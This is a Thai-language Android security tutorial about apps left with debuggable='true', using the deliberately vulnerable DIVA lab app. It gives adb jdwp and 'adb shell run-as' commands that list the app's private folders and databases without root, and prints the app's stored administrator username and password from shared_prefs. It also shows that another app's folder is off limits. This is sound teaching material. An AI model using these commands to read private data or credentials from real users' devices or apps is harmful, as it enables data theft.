บทนำ (Overview)
บทความนี้กล่าวถึงโปรแกรมที่มีการเปิดใช้งาน “Debuggable” ทิ้งเอาไว้ (True) ซึ่งส่งผลให้ผู้ไม่ประสงค์ดีสามารถเข้าถึงข้อมูลของ “Application” ได้ หรือสามารถ “Run code” ต่าง ๆ ภายใต้สิทธิของ “Application” ที่ได้รับ โดยเครื่องไม่จำเป็นต้อง “Root” ก็ได้
ในบทความนี้ใช้วิธีการเข้าถึง “Folder” โดยวิธีการ “Run-as” ซึ่งอาจไม่สามารถทำงานได้บนบาง “Android 4.1-4.3” เพราะได้มีการแก้ “Bug” โดยการป้องกันการใช้งาน “Run-as” เพื่อเข้าถึง “devices” หรือมีข้อความ “Error” แสดงว่า ‘com<package name>’ is unknown.”
ขั้นตอน (Steps)
- การที่เราจะทราบได้ว่า โปรแกรมนั้น ๆ เปิด “Debug” หรือไม่ เราจะต้องทำการ “Reverse Engineering” เพื่อตรวจสอบที่ไฟล์ของ “AndroidMenifest” เสียก่อน สามารถติดตามได้ที่บทความ
- จากบทความนี้เราใช้โปรแกรมช่องโหว่ “DIVA” สามารถตรวจพบได้ว่า “debuggable” เท่ากับ “true”
<application theme="@2131296387" label="@2131099683" icon="@2130903040" debuggable="true" allowBackup="true" supportsRtl="true">
- ที่นี้เราจะเชื่อมต่อไปยัง เครื่อง “Android” เพื่อตรวจสอบ “Process” ที่กำลัง “Run” อยู่ โดยใช้คำสั่ง
adb jdwp
- ผลลัพธ์ของคำสั่งจะแสดง PID (Process Identifiers) ของ “Application” ที่สามารถจะ “Debug” ได้
- ที่นี้ให้ลองเปิด โปรแกรม “DIVA” และตรวจสอบอีกครั้ง
- สังเกตว่าจะมี “PID” เพิ่มขึ้นมาใหม่ คือ 12795, 12946 และ 12960 ทดลองใช้คำสั่งข้างโดยไล่ทีละ “PID” ที่พบ “package name” ชื่อ diva ดังรูป
C:\Users\wsunpachit\Desktop λ adb shell ps | grep "12795" u0_a43 12795 147 907936 38216 ffffffff b74faa27 S jakhar.aseem.diva
- เราสามารถเข้าถึง “Folder” ดังกล่าวโดยไม่จำเป็นต้อง “Root” เครื่องโดยใช้คำสั่งดังนี้
C:\Users\wsunpachit\Desktop λ adb shell run-as jakhar.aseem.diva ls -l drwxrwx--x u0_a43 u0_a43 2016-07-19 12:09 cache drwxrwx--x u0_a43 u0_a43 2016-09-16 23:14 databases lrwxrwxrwx install install 2016-09-17 15:32 lib -> /data/app-lib/jakhar.aseem.diva-1 drwxrwx--x u0_a43 u0_a43 2016-09-06 11:39 shared_prefs -rw------- u0_a43 u0_a43 25 2016-09-07 15:06 uinfo-515707363tmp
- ทดสอบดึงข้อมูลสำคัญ
C:\Users\wsunpachit\Desktop λ adb shell run-as jakhar.aseem.diva cat /data/data/jakhar.aseem.diva/shared_prefs/jakhar.aseem.diva_preferences.xml <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <string name="user">administrator</string> <string name="password">p@ssw0rd</string> </map>
- แต่ถ้าเปิด “Folder” อื่น ๆ จะไม่มีสิทธิดังนี้
C:\Users\wsunpachit\Desktop λ adb shell run-as jakhar.aseem.diva cat /data/data/org.owasp.goatdroid.fourgoats/shared_prefs # cat destination_info.xml /data/data/org.owasp.goatdroid.fourgoats/shared_prefs: Permission denied
- ทดลองเข้าถึง “Folder” อื่น ๆ ดูบ้างเช่น “Database” โดยใช้คำสั่ง “ls -l” บ้าง
C:\Users\wsunpachit\Desktop λ adb shell run-as jakhar.aseem.diva ls -l databases drwxrwxr-x root root 2016-09-06 15:18 c: -rw-rw---- u0_a43 u0_a43 20480 2016-07-19 11:03 divanotes.db -rw------- u0_a43 u0_a43 8720 2016-07-19 11:03 divanotes.db-journal -rw-r--r-- root root 16384 2016-09-06 15:31 ids2 -rw------- root root 8720 2016-09-06 12:58 ids2-journal -rw-rw---- u0_a43 u0_a43 16384 2016-09-16 15:28 sqli -rw------- u0_a43 u0_a43 12824 2016-09-16 15:28 sqli-journal -rw-rw---- u0_a43 u0_a43 40960 2016-07-19 12:08 webview.db -rw------- u0_a43 u0_a43 8720 2016-07-19 12:08 webview.db-journal -rw-rw---- u0_a43 u0_a43 7168 2016-09-16 23:14 webviewCookiesChromium.db -rw-rw---- u0_a43 u0_a43 0 2016-07-19 12:13 webviewCookiesChromiumPrivate.db